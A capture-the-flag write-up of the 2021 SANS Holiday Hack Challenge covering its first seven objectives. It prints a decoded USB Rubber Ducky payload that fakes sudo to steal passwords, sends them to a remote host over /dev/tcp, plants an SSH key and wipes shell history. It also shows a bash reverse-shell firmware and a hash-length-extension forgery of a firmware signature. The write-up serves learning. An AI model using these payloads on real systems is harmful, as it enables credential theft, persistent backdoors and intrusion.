2021 SANS Holiday Hack Challenge

CTFHHC

Table Of Contents


Introduction

Every year the SANS Institute and Counter Hack team put on an end of the year capture the flag event referred to the SANS Holiday Hack Challenge (HHC). I participated in my first SANS HHC in 2015 and they have become somewhat of a personal holiday tradition for me. This event marks my 7th year participating and now that the deadline for report submissions has passed I have decided to put out a simple write-up on the event here.

Note: Many of the notes I compiled to put this all on one page were taken during late-night hacking sessions so there are bound to be numerous typos and grammatical errors.

These challenges are kept online and available even after the official competition end, so if this is something that sounds interesting you can find all of the past challenges here. SANS HHC - Past Challenges

It should go without saying, the following content is one big spoiler if you plan on playing HHC 2021.

Story

Listen children to a story that was written in the cold
'Bout a Kringle and his castle hosting hackers, meek and bold
Then from somewhere came another, built his tower tall and proud
Surely he, our Frosty villain hides intentions 'neath a shroud
So begins Jack's reckless mission: gather trolls to win a war
Build a con that's fresh and shiny, has this yet been done before?
Is his Fest more feint than folly? Some have noticed subtle clues
Running 'round and raiding repos, stealing Santa's Don'ts and Do's
Misdirected, scheming, grasping, Frost intends to seize the day
Funding research with a gift shop, can Frost build the better sleigh?
Lo, we find unlikely allies: trolls within Jack's own command
Doubting Frost and searching motive, questioning his dark demand
Is our Jack just lost and rotten - one more outlaw stomping toes?
Why then must we piece together cludgy, wacky radios?
With this object from the heavens, Frost must know his cover's blown
Hearkening from distant planet! We the heroes should have known
Go ahead and hack your neighbor, go ahead and phish a friend
Do it in the name of holidays, you can justify it at year's end
There won't be any retweets praising you, come disclosure day
But on the snowy evening after? Still Kris Kringle rides the sleigh

Objectives

Objective 1 - KringleCon Orientation

Get your bearings at KringleCon

Not much to this objective, follow the instructions provided to talk to Jingle Ringford who provides you with your badge, pick up the wifi adapter off the ground, and interact with the terminal next to Jungle.


Objective 2 - Where in the World is Caramel Santaigo

Help Tangle Coalbox find a wayward elf in Santa’s courtyard. Talk to Piney Sappington nearby for hints.

Hey there, Gumshoe. Tangle Coalbox here again.
I’ve got a real doozy of a case for you this year.
Turns out some elves have gone on some misdirected journeys around the globe. It seems that someone is messing with their travel plans.
We could sure use your open source intelligence (OSINT) skills to find them.
Why dontcha' log into this vintage Cranberry Pi terminal and see if you have what it takes to track them around the globe.
If you’re having any trouble with it, you might ask Piney Sappington right over there for tips.

Hints obtained at: Exif Metadata - Piney Sappington

For this challenge, we play a simple game where we use some basic OSINT skills to chase down an elf and identify them. The game is somewhat randomized each time you run it but the concept is always the same. Investigate to gain clues, use the InterRink page to narrow down your suspect, depart to the next location based on the clues you gather. Eventually, you catch up with the elf and have to submit your guess as to who they are to complete the challenge.

These are the types of clues you can answer in InterRink:

Language spoken:
Preferred social medium: 
Preferred indents:
Fandom:
Pronounces "GIF":

You never cease to amaze, Kid. Thanks for your help.


Objective 3 - Thaw Frost Tower’s Entrance

Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle’s CLI interface. Talk to Greasy Gopherguts outside the tower for tips.

Hints obtained at: Grepping for Gold - Greasy GopherGuts

Yo, I’m Grimy McTrollkins.
I’m a troll and I work for the big guy over there: Jack Frost.
I’d rather not be bothered talking with you, but I’m kind of in a bind and need your help.
Jack Frost is so obsessed with icy cold that he accidentally froze shut the door to Frost Tower!
I wonder if you can help me get back in.
I think we can melt the door open if we can just get access to the thermostat inside the building.
That thermostat uses Wi-Fi. And I’ll bet you picked up a Wi-Fi adapter for your badge when you got to the North Pole.
Click on your badge and go to the Items tab. There, you should see your Wi-Fi Dongle and a button to “Open Wi-Fi CLI.” That’ll give you command-line interface access to your badge’s wireless capabilities.

Using the WiFi dongle in our inventory we stand near the window to Jack Frost’s tower and scan for and connect to the thermostat WiFi network.

Objective 3 - Image 1

From here we can make a curl request to retrieve some basic API documentation and send a post request to alter the temperature.

Objective 3 - Image 2

Great - now I can get back in!


Objective 4 - Slot Machine Investigation

Test the security of Jack Frost’s slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa’s Castle for help.

Hints obtained at: Logic Munchers - Noel Boetie

Snarf. Hrung. Phlthth.
I’m Hubris Selfington.
The big boss told me he’s worried about vulnerabilities in his slot machines, especially this one.
Statistically speaking, it seems to be paying out way too much.
He asked me to see if there are any security flaws in it.
The boss has HUGE plans and we’ve gotta make sure we are running a tight ship here at Frost Tower.
Can you help me find the issue?
I mean, I could TOTALLY do this on my own, but I want to give you a chance first.

Modify requests to tamper with bet amounts, make the modifier negative to always win money. Notice the -10 at the end of our request, we are submitting a negative number as a modifier. Each spin we submit the following as shown in the games javascript source c3runtime.js.

var param = {
    'betamount': amount,
    'numline': line,
    'cpl': cpl
};

Changing the cpl modifier allows us to multiply our losses by a negative number and pay out with each loss.

curl 'https://slots.jackfrosttower.com/api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin' \
-X POST -H 'X-Ncash-token: 6a33aa29-2c1f-48e1-b949-fa58cf0c6e62' --data-raw 'betamount=20&numline=20&cpl=-10'

We send this request multiple times as needed and eventually when our winnings are over 1000 coins we get the following back in the reply data.

{
  "success": true,
  "data": {
    "credit": 2200,
    "jackpot": 0,
    "free_spin": 0,
    "free_num": 0,
    "scaler": 0,
    "num_line": 20,
    "bet_amount": 10,
    "pull": {
      "WinAmount": 0,
      "FreeSpin": 0,
      "WildFixedIcons": [],
      "HasJackpot": false,
      "HasScatter": false,
      "WildColumIcon": "",
      "ScatterPrize": 0,
      "SlotIcons": [
        "icon7",
        "icon2",
        "icon2",
        "icon6",
        "icon7",
        "icon9",
        "icon1",
        "wild",
        "icon6",
        "icon6",
        "icon6",
        "icon3",
        "icon7",
        "icon9",
        "icon1"
      ],
      "ActiveIcons": [],
      "ActiveLines": []
    },
    "response": "I'm going to have some bouncer trolls bounce you right out of this casino!"
  },
  "message": "Spin success"
}

Answer to input into badge: I'm going to have some bouncer trolls bounce you right out of this casino!

Yeah, that’s exactly how I would have solved it, but thanks.


Objective 5 - Strange USB Device

Assist the elves in reverse engineering the strange USB device. Visit Santa’s Talks Floor and hit up Jewel Loggins for advice.

Hints obtained at: IPv6 Sandbox - Jewel Loggins

Hello and welcome to the speaker UnPreparedness Room!
I’m Morcel Nougat, elf extraordinaire.
I’ve heard the talks at the other con across the way are a bit… off.
I really don’t think they have the right sense about what makes for a wonderful holiday season. But, anyway!
Say, do you know anything about USB Rubber Duckies?
I’ve been playing around with them a bit myself.
Please see what you can do to help solve the Rubber Ducky Objective!
Oh, and if you need help, I hear Jewel Loggins, on this floor outside this room, has some experience.

For this objective, we are asked to look at a USB device currently mounted on our system. Some quick glances at the .bin file residing on the device and we get a good idea of what we are working with. Anyone who has been in the security industry for any amount of time probably recognizes ducky script pretty easily. It was created as an offensive tool for pentesters but in truth, I think I have run into more IT technicians and network admins who use them as simple plug-and-play diagnostic tools than I have anything else.

With the code identified, we can make short work of reversing it with the ducky script toolset, which just so happens to be installed on our terminal.

What is the troll username involved with this attack?
A random USB device, oh what could be the matter?
It seems a troll has left this, right on a silver platter.
Oh my friend I need your ken, this does not smell of attar.
Help solve this challenge quick quick, I shall offer no more natter.

Evaluate the USB data in /mnt/USBDEVICE.

Our ducky script.

ENTER
 
DELAY 1000
 c280 
DELAY 500
 t e r m i n a l 
ENTER
 
DELAY 500
 d280 d280 d280 d280 d280 
SPACE
 / b i n / b a s h 
ENTER
 
DELAY 500
 m k d i r 
SPACE
 - p 
SPACE
 ~ / . c o n f i g / s u d o 
ENTER
 
DELAY 200
 e c h o 
SPACE
 ' # ! / b i n / b a s h 
SPACE
 > 
SPACE
 ~ / . c o n f i g / s u d o / s u d o 
ENTER
 / u s r / b i n / s u d o 
SPACE
 $ @ 
ENTER
 e c h o 
SPACE
 - n 
SPACE
 " [ s u d o ] 
SPACE
 p a s s w o r d 
SPACE
 f o r 
SPACE
 $ U S E R : 
SPACE
 " 
ENTER
 r e a d 
SPACE
 - s 
SPACE
 p w d 
ENTER
 e c h o 
ENTER
 e c h o 
SPACE
 " $ p w d " 
SPACE
 | 
SPACE
 / u s r / b i n / s u d o 
SPACE
 - S 
SPACE
 t r u e 
SPACE
 2 > / d e v / n u l l 
ENTER
 i f 
SPACE
 [ 
SPACE
 $ ? 
SPACE
 - e q 
SPACE
 1 
SPACE
 ] 
ENTER
 t h e n 
ENTER
 e c h o 
SPACE
 " $ U S E R : $ p w d : i n v a l i d " 
SPACE
 > 
SPACE
 / d e v / t c p / t r o l l f u n . j a c k f r o s t t o w e r . c o m / 1 3 3 7 
ENTER
 e c h o 
SPACE
 " S o r r y , 
SPACE
 t r y 
SPACE
 a g a i n . " 
ENTER
 s u d o 
SPACE
 $ @ 
ENTER
 e l s e 
ENTER
 e c h o 
SPACE
 " $ U S E R : $ p w d : v a l i d " 
SPACE
 > 
SPACE
 / d e v / t c p / t r o l l f u n . j a c k f r o s t t o w e r . c o m / 1 3 3 7 
ENTER
 e c h o 
SPACE
 " $ p w d " 
SPACE
 |
 SPACE
 / u s r / b i n / s u d o 
SPACE
 - S 
SPACE
 $ @ 
ENTER
 f i 
ENTER
 f i ' 
SPACE
 > 
SPACE
 ~ / . c o n f i g / s u d o / s u d o 
ENTER
 
DELAY 200
 c h m o d 
SPACE
 u + x 
SPACE
 ~ / . c o n f i g / s u d o / s u d o 
ENTER
 
DELAY 200
 e c h o 
SPACE
 " e x p o r t 
SPACE
 P A T H = ~ / . c o n f i g / s u d o : $ P A T H " 
SPACE
 > > 
SPACE
 ~ / . b a s h _ p r o f i l e 
ENTER
 
DELAY 200
 e c h o 
SPACE
 " e x p o r t 
SPACE
 P A T H = ~ / . c o n f i g / s u d o : $ P A T H " 
SPACE
 > > 
SPACE
 ~ / . b a s h r c 
ENTER
 
DELAY 200
 e c h o 
SPACE
 = = g C z l X Z r 9 F Z l p X a y 9 G a 0 V X Y v g 2 c z 5 y L + B i P + A y J t 9 2 Y u I X 
Z 3 9 G d 0 N 3 b y Z 2 a j F m a u 4 W d m x G b v J H d A B 3 b v d 2 Y t l 3 a j l G I L F E
 S V 1 m W V N 2 S C h V Y T p 1 V h N l R y Q 1 U k d F Z o p k b S 1 E b H p F S w d l V R J 
l R V N F d w M 2 S G V E Z n R T a i h m V X J 2 Z R h V W v J F S J B T O t J 2 Z V 1 2 Y u V
 l M k d 2 d T V G b 0 d U S J 5 U M V d G N X l 1 Z r h k Y z Z 0 V a l n Q D R m d 1 c U S 6 
x 2 R J p H b H F W V C l H Z O p V V T p n W w Q F d S d E V I J l R S 9 G Z y o V c K J T V z
 w W M k B D c W F G d W 1 G Z v J F S T J H Z I d l W K h k U 1 4 U b V B S Y z J X L o N 3 c 
n A y b o N W Z
SPACE
 | 
SPACE
 r e v 
SPACE
 | 
SPACE
 b a s e 6 4 
SPACE
 - d 
SPACE
 | 
SPACE
 b a s h 
ENTER
 
DELAY 600
 h i s t o r y 
SPACE
 - c 
SPACE
 & & 
SPACE
 r m 
SPACE
 . b a s h _ h i s t o r y 
SPACE
 & & 
SPACE
 e x i t 
ENTER
 
DELAY 600
4180

Decoding the base64 to view the unobfuscated ssh key dump.

elf@d1f28d7c019b:/mnt/USBDEVICE$ ducky-decode.pl inject.bin | grep '= =' | sed 's/ //g' | rev | base64 -d

echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys

Answer: ickymcgoop

Yay! Fantastic work!


Objective 6 - Shellcode Primer

Complete the Shellcode Primer in Jack’s office. According to the last challenge, what is the secret to KringleCon success? “All of our speakers and organizers, providing the gift of ____, free to the community.” Talk to Chimney Scissorsticks in the NetWars area for hints.

Hints obtained at: Holiday Hero - Chimney Scissorsticks
Provides hints for: Objective 7 - Printer Exploitation

Hey, I’m Ruby Cyster. Don’t listen to anything my sister, Ingreta, says about me.
So I’m looking at this system, and it has me a little bit worried.
If I didn’t know better, I’d say someone here is learning how to hack North Pole systems.
Who’s got that kind of nerve!
Anyway, I hear some elf on the other roof knows a bit about this type of thing.

The Shellcode Primer objective is exactly what it sounds like, a short primer course on creating and understanding basic shellcode. This objective will be on the longer side just given the amount of information they are trying to convey in this short course.

Oh man - what is this all about? Great work though.
So first things first, you should definitely take a look at the firmware.
With that in-hand, you can pick it apart and see what’s there.
Did you know that if you append multiple files of that type, the last one is processed?
Have you heard of MGRS?
If something isn’t working, be sure to check the output! The error messages are very verbose.
Everything else accomplished, you just might be able to get shell access to that dusty old thing!
Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/.


Objective 7 - Printer Exploitation

Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack’s office for help with this objective.

Hints obtained at: Objective 6 - Shellcode Primer

From examining the printer portal we can gain a pretty good idea about where we should focus our attention. Almost everything is locked behind a password prompt except for the firmware upgrade page which also conveniently allows us to download the current firmware.

The firware download is a json file containing the following key value pairs.

Additionally decoding the base64 blob shows us that it is a zip file containing firmware.bin

{
  "firmware": "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",
  "signature": "e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23",
  "secret_length": 16,
  "algorithm": "SHA256"
}

In theory the signature should prevent anyone who does not know the secret to create a new valid signature to modify or provide different data to the firmware upload page. However in practice this implimentation has a flaw.

To start we will build our own firmware.bin containing some simple bash reverse shell commands and zip it up, our plan is to perform a hash extension attack.

$ cat firmware.bin
#!/bin/bash

bash -i >& /dev/tcp/127.0.0.1/443 0>&1

$ chmod +x firmware.bin
$ zip firmware.zip firmware.bin
updating: firmware.bin (deflated 4%)

Now using our known values from the origonal json file we will perform a hash extension attack.

$ cat firmware.zip | xxd -ps | tr -d \\n
504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000

$ ../git/hash_extender/hash_extender --file ./orig.zip -f sha256 -l 16 -s e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --append 504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000 --append-format hex
Type: sha256
Secret length: 16
New signature: 2e641a9b03ca1bebd7b06d4403378a3e58dd2376b18724d3fe256c7b829e3061
New string: 504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e03140000000800d8a5865316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003b876ae6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000

then we convert our new string back into base64 and replace the json files firmware value with the result.

